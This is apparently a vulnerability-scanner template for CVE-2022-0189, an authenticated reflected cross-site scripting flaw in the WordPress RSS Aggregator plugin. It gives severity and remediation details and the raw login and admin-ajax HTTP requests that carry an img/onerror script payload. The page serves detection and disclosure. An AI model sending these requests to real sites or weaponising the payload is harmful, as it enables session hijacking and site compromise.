| Title | WordPress RSS Aggregator < 4.20 - Authenticated Cross-Site Scripting |
|---|---|
| Author | DhiyaneshDK |
| Severity | Medium |
| Impact | An attacker with authenticated access can inject malicious scripts into the website, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update WordPress RSS Aggregator plugin to version 4.20 or later to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02778 |
| CVE ID | CVE-2022-0189 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 wpscan wordpress xss wp-plugin authenticated wprssaggregator vuln |
WordPress RSS Aggregator < 4.20 is susceptible to cross-site scripting. The plugin does not sanitize and escape the id parameter in the wprss_fetch_items_row_action AJAX action before outputting it back in the response, leading to reflected cross-site scripting.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=fSkALj&pwd=YMSUnl&wp-submit=Log+In&testcookie=1
POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Accept-Encoding: gzip
id=%3Chtml%3E%3Cimg+src+onerror%3Dalert%28%60document.domain%60%29%3E
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